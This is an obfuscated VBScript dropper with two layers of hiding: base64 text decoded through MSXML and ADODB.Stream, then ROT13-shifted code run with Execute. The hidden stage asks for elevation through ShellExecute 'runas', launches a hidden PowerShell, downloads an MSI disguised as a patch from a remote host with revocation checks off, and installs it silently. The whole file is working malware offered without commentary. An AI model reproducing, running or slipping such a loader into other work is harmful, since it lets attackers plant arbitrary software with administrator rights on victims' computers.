Option Explicit
Dim kbjmebxb(6)
kbjmebxb(0) = "RGltIHZlaHl0aWY6dmVoeXRpZj0iRnJnIEhOUCA9IFBlcm5nckJvd3JwZygiIkZ1cnl5Lk5jY3l2cG5ndmJhIiIpIiAmIHZiQ3JMZiAmICJITlAuRnVyeXlSa3JwaGdyICIiY2JqcmVmdXJ5eSIiLCAiIi1QYnp6"
kbjmebxb(1) = "bmFxICIiIiImIHt6eHF2ZSBQOlxcR3J6YyAtU2JlcHIgMj4kYWh5eTsgcGhleS5ya3IgLVkgLS1mZnktYWItZXJpYnhyICd1Z2djZjovL3hybnZnbzJ0LmYzLmhmLXJuZmctMDA1Lm9ucHhveW5tcm8yLnBiei9y"
kbjmebxb(2) = "b3gydm5nLnpmdicgLWIgUDpcXEdyemNcXGNuZ3B1LnpmdjsgemZ2cmtycC5ya3IgL3YgJ1A6XFxHcnpjXFxjbmdwdS56ZnYnIC9kYSAvYWJlcmZnbmVnfSIiIiIiIiwgIiIiIiwgIiJlaGFuZiIiLCAwIgpEaW0g"
kbjmebxb(3) = "ZnJ5c3BqOmZyeXNwaj0iIgpEaW0gYmdubmNiLHd1ZnJodQpGb3IgYmdubmNiPTEgVG8gTGVuKHZlaHl0aWYpCnd1ZnJodT1NaWQodmVoeXRpZixiZ25uY2IsMSkKSWYgd3Vmcmh1Pj0iQSIgQW5kIHd1ZnJodTw9"
kbjmebxb(4) = "IloiIFRoZW4Kd3Vmcmh1PUFzYyh3dWZyaHUpLTEzOklmIHd1ZnJodTxBc2MoIkEiKSBUaGVuIHd1ZnJodT13dWZyaHUrMjYKZnJ5c3BqPWZyeXNwaiZDaHIod3Vmcmh1KQpFbHNlSWYgd3Vmcmh1Pj0iYSIgQW5k"
kbjmebxb(5) = "IHd1ZnJodTw9InoiIFRoZW4Kd3Vmcmh1PUFzYyh3dWZyaHUpLTEzOklmIHd1ZnJodTxBc2MoImEiKSBUaGVuIHd1ZnJodT13dWZyaHUrMjYKZnJ5c3BqPWZyeXNwaiZDaHIod3Vmcmh1KQpFbHNlCmZyeXNwaj1m"
kbjmebxb(6) = "cnlzcGomd3Vmcmh1CkVuZCBJZgpOZXh0CkV4ZWN1dGUgZnJ5c3Bq"

Dim ovsuzyfu : ovsuzyfu = Join(kbjmebxb, "")
ExecuteGlobal lulsypjknisw(ovsuzyfu)

Function lulsypjknisw(s)
    Dim uuoibufvv, tbgtwpbezau, itwvsrmogm
    Set uuoibufvv = CreateObject("Msxml2.DOMDocument.6.0")
    Set tbgtwpbezau = uuoibufvv.createElement("b")
    tbgtwpbezau.dataType = "bin.base64"
    tbgtwpbezau.text = s
    Set itwvsrmogm = CreateObject("ADODB.Stream")
    itwvsrmogm.Type = 1 : itwvsrmogm.Open
    itwvsrmogm.Write tbgtwpbezau.nodeTypedValue
    itwvsrmogm.Position = 0
    itwvsrmogm.Type = 2 : itwvsrmogm.Charset = "UTF-8"
    lulsypjknisw = itwvsrmogm.ReadText
    itwvsrmogm.Close
End Function